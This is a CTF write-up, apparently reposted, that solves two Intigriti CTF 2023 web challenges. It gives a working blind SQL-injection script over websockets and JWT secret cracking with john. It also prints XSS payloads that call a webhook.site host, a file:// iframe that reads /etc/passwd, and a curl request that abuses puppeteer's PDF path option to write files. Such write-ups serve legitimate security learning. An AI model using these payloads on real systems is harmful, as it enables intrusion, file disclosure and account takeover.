Intigriti CTF 2023 Writeup [WEB]

WriteUp 5个月前 admin
185 0 0

Link to archive challenges:

Category : Web

Web : Bug Report Repo

Intigriti CTF 2023 Writeup [WEB]

Browsing the web challenge, we will encounter with a page that show the “Bug Reports”. There is one visible search box that we can use to check the report status by using BUG ID

Intigriti CTF 2023 Writeup [WEB]

When we enter BUG ID == 1 we can see the page highligted the first row but where is the user Alice coming from? Probably its query something behind this.

Intigriti CTF 2023 Writeup [WEB]

How about if we try to insert single quote ' instead? We got an error? Is there SQL Injection involved in here?

Intigriti CTF 2023 Writeup [WEB]

Let’s try put a custom query to make it response with correct and wrong response.

Correct Response

1
1 OR 1=1
Intigriti CTF 2023 Writeup [WEB]

Wrong Response

1
1 AND 1=2
Intigriti CTF 2023 Writeup [WEB]

Since we know it involve SQL INJECTION, next step is to find where is the flag located? It was mentioned in the challenge’s description that it received a CRITICAL bug but it was not shown in the system. When we try to check on BUG ID == 11 we receive an unusual user in the response.

Intigriti CTF 2023 Writeup [WEB]

Probably we will get hints when we look into this user’s description. To do that we need exploit the SQL Injection and extract the description of bug id equal to 1. We can create an automation script to extract it. We also identified that its using WEBSOCKETS for the request.

Intigriti CTF 2023 Writeup [WEB]

Below are the full scripts to extract the description of BUGID == 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string, base64
from websockets.sync.client import connect

def sqli(ws,q_left,chars):	
    data = """{"id":"11 and (%s='%s')"}""" % (q_left, chars)
    ws.send(data)
    temp = ws.recv()
    return "Open" in temp

def exploit_websockets(TARGET):
    dumped = ""
    with connect(TARGET) as ws:
        sql_template = "SELECT substr(description, %s, 1)"
        i = 1
        while True:
            for chars in string.printable:
                if sqli(ws,sql_template%i,chars):
                    dumped += chars
                    print(dumped)
                    i+=1
                    break
        
if __name__ == "__main__":
    TARGET = "wss://bountyrepo.ctf.intigriti.io/ws"
    exploit_websockets(TARGET)

Extracted : crypt0:c4tz on /4dm1n_z0n3, really?

Browsing /4dm1n_z0n3 will get us into a secure admin login page.

Intigriti CTF 2023 Writeup [WEB]

Using the credentials we found will get us into this page. Sadly our user crypt0 don’t have the permission to view the config key.

Intigriti CTF 2023 Writeup [WEB]

When we look at the cookies, it looks like JWT and yes it is. It using alg == HS256

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I
Intigriti CTF 2023 Writeup [WEB]

By reading in the Hacktricks we probably need to crack the JWT and find the secret key? Let’s give it a try using jwtcrack

Algorithm HS256 : Uses the secret key to sign and verify each message

# jwt2john
./jwt2john.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I" > hash

# john
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Found : catsarethebest

Next, we can easily modify our JWT in here with the secret key we found.

Intigriti CTF 2023 Writeup [WEB]

And we get the flag!

Intigriti CTF 2023 Writeup [WEB]

Flag : INTIGRITI{w3b50ck37_5ql1_4nd_w34k_jw7}

Web : My Music

Intigriti CTF 2023 Writeup [WEB]

I didn’t managed to solve this challenge during the event but it’s a good practice to solve an unsolved challenge after the event. Thanks to all of the writeup from others CTF players!

We can see that there are Login and Register tabs at the top of the page

Intigriti CTF 2023 Writeup [WEB]

Let’s try register an account first.

Intigriti CTF 2023 Writeup [WEB]

We have login hashupdate function and generate profile card which could help us to look for vulnerability in this page.

Intigriti CTF 2023 Writeup [WEB]

The login page only receive the login hash to login. A valid hash will lead us to the home page of the user, while invalid hash will give us an error. Nothing much I manage to find in this login page, so let’s move on to the update function.

Invalid Login Hash

Intigriti CTF 2023 Writeup [WEB]

The update function will send a PUT method to /api/user and there are three (3) parameters we can update in here.

Intigriti CTF 2023 Writeup [WEB]

The generate function will send a POST method to /profile/generate-profile-card and there is no parameter used and it needs the cookies login_hash

Intigriti CTF 2023 Writeup [WEB]

The PDF generator will have all the value of parameters username,firstname,lastname,spotifyTrackCode.

Intigriti CTF 2023 Writeup [WEB]

First thing come into my mind, is it a dynamic PDF generated? Will there be an injection related to server side? So mostly I referring in here while doing this challenge. So let’s try insert html injection in all the parameters that we can update and generate again the PDF.

1
2
3
{
    "firstName":"<h1>firstName</h1>","lastName":"<h1>lastName</h1>","spotifyTrackCode":"<h1>spotifyTrackCode</h1>"
}
Intigriti CTF 2023 Writeup [WEB]

Nice, atleast one parameter spotifyTrackCode vulnerable to HTML Injection. But is it just a normal HTML Injection? Let’s try insert one XSS that try request to our webhook.

1
<img src=x onerror=fetch('https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef') />

Nice we got a request!

Intigriti CTF 2023 Writeup [WEB]

So now we know that it involve with server side, let’s use simple payload to read local file such as /etc/passwd

1
<iframe src=file:///etc/passwd height=2000 width=800></iframe>
Intigriti CTF 2023 Writeup [WEB]

So I tried to read almost all of the source code that I could find listed below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/app/app.js 
/app/package.json
/app/routes/index.js 
/app/routes/api.js 
/app/views/register.handlebars
/app/services/user.js
/app/middleware/check_admin.js
/app/middleware/auth.js
/app/controllers/user.js
/app/utils/generateProfileCard.js
/app/views/print_profile.handlebars
/app/data/{hash}.json
/app/Dockerfile 
/etc/resolv.conf

To get the flag, we need to access /admin with JSON body which impossible for us to update through the web UI.

routes/index.js

1
2
3
router.get('/admin', isAdmin, (req, res) => {
    res.render('admin', { flag: process.env.FLAG || 'CTF{DUMMY}' })
})

middleware/check_admin.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { getUser, userExists } = require('../services/user')
const isAdmin = (req, res, next) => {
let loginHash = req.cookies['login_hash']
let userData

if (loginHash && userExists(loginHash)) {
    userData = getUser(loginHash)
} else {
    return res.redirect('/login')
}
try {
    userData = JSON.parse(userData)
    if (userData.isAdmin !== true) {
        res.status(403)
        res.send('Only admins can view this page')
        return
    }
} catch (e) {
    console.log(e)
}
next()
}

module.exports = { isAdmin }

The function getUser(loginHas) will get us better understanding on what userData.isAdmin is checking.

services/user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const fs = require('fs')
const path = require('path')
const { createHash } = require('crypto')
const { v4: uuidv4 } = require('uuid')
const dataDir = './data'

// Register New User
// Write new data in  /app/data/<loginhash>.json
const createUser = (userData) => {
    const loginHash = createHash('sha256').update(uuidv4()).digest('hex')
        fs.writeFileSync(
            path.join(dataDir, `${loginHash}.json`),
            JSON.stringify(userData)
        )
    return loginHash
}

// Update User
// Update new data in  /app/data/<loginhash>.json
const setUserData = (loginHash, userData) => {
    if (!userExists(loginHash)) {
        throw 'Invalid login hash'
    }
    fs.writeFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        JSON.stringify(userData)
    )
    return userData
}

// Get User
// Read /app/data/<loginhash>.json
const getUser = (loginHash) => {
    let userData = fs.readFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        {
        encoding: 'utf8',
        }
    )
    return userData
}

// Check if UserExists
// Check if file /app/data/<loginhash>.json exists
const userExists = (loginHash) => {
    return fs.existsSync(path.join(dataDir, `${path.basename(loginHash)}.json`))
}

So getUser() will get us the JSON value of our user which will holds parameters such as username,firstname,lastname,spotifyTrackCode as shown inside the codes below and there is no isAdmin

controllers/user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
// Create User only accepts username, firstName, lastName
// There is no isAdmin available in here
const { username, firstName, lastName } = req.body
const userData = {
    username,
    firstName,
    lastName,
}
try {
    const loginHash = createUser(userData)
...
// Update user only accepts firstname, lastname, spotifyTrackCode
// Also there is no isAdmin available in here
const { firstName, lastName, spotifyTrackCode } = req.body
const userData = {
    username: req.userData.username,
    firstName,
    lastName,
    spotifyTrackCode,
}
try {
    setUserData(req.loginHash, userData)
...

One idea, that I had was to find a way to write the JSON payload with isAdmin into /app/data and use the cookies login_hash to load the .json file. Interestingly, inside the PDF generator function located in utils/generateProfileCard.js, there is a request body that we can send to add options into puppeteer pdf.

routes/index.js

1
2
3
4
5
6
// We can send userOptions in the body
router.post('/profile/generate-profile-card', requireAuth, async (req, res) => {
    const pdf = await generatePDF(req.userData, req.body.userOptions)
    res.contentType('application/pdf')
    res.send(pdf)
})

utils/generateProfileCard.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
const generatePDF = async (userData, userOptions) => {
    const browser = await puppeteer.launch({
        executablePath: '/usr/bin/google-chrome',
        args: ['--no-sandbox'],
    })
    const page = await browser.newPage()
    ...
    let options = {
    format: 'A5',
    }
    // Our userOptions will be use to generate the PDF
    if (userOptions) {
        options = { ...options, ...userOptions }
    }
    const pdf = await page.pdf(options)
    ...
}
...

Maybe this is the path for us to write the JSON with isAdmin? After reading the documentation in here, there is one options that we can use called path to output and save the file somewhere in locally.

Intigriti CTF 2023 Writeup [WEB]

Let’s try save the our PDF in /app/data/test.json, then try read the file by generate the PDF.

1
curl -k -X POST -H 'Content-Type: application/json' -b 'login_hash=f024b76b41f9dba21cf620484862e9b90465d8db09ea946fb04a0f6f3876103a' https://mymusic.ctf.intigriti.io/profile/generate-profile-card -d '{"userOptions":{"path":"/app/data/test.json"}}'

Nice! We could write something using this method.

Intigriti CTF 2023 Writeup [WEB]

Next step would be on how could we write the payload below somewhere in the server. We know that it will save as PDF not a JSON file in the content.

1
{'username':'a','firstName':'a','lastName':'b','spotifyTrackCode':'c','isAdmin':'true'}

What if we store this JSON in our webhook server and redirect it using XSS to reflect the content into the file? Let’s give it a try

1
<img src=x onerror=document.location='https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef'>
Intigriti CTF 2023 Writeup [WEB]

Let’s generate it and store it in /app/data/test.json. It still saved it as PDF format.

Intigriti CTF 2023 Writeup [WEB]

But let’s give it a try to load it in login_hash

Intigriti CTF 2023 Writeup [WEB]

Flag : INTIGRITI{0verr1d1ng_4nd_n0_r3turn_w4s_n3ed3d_for_th15_fl4g_to_b3_e4rn3d}

原文始发于H0j3nIntigriti CTF 2023 Writeup [WEB]

版权声明:admin 发表于 2023年11月20日 下午6:19。
转载请注明:Intigriti CTF 2023 Writeup [WEB] | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...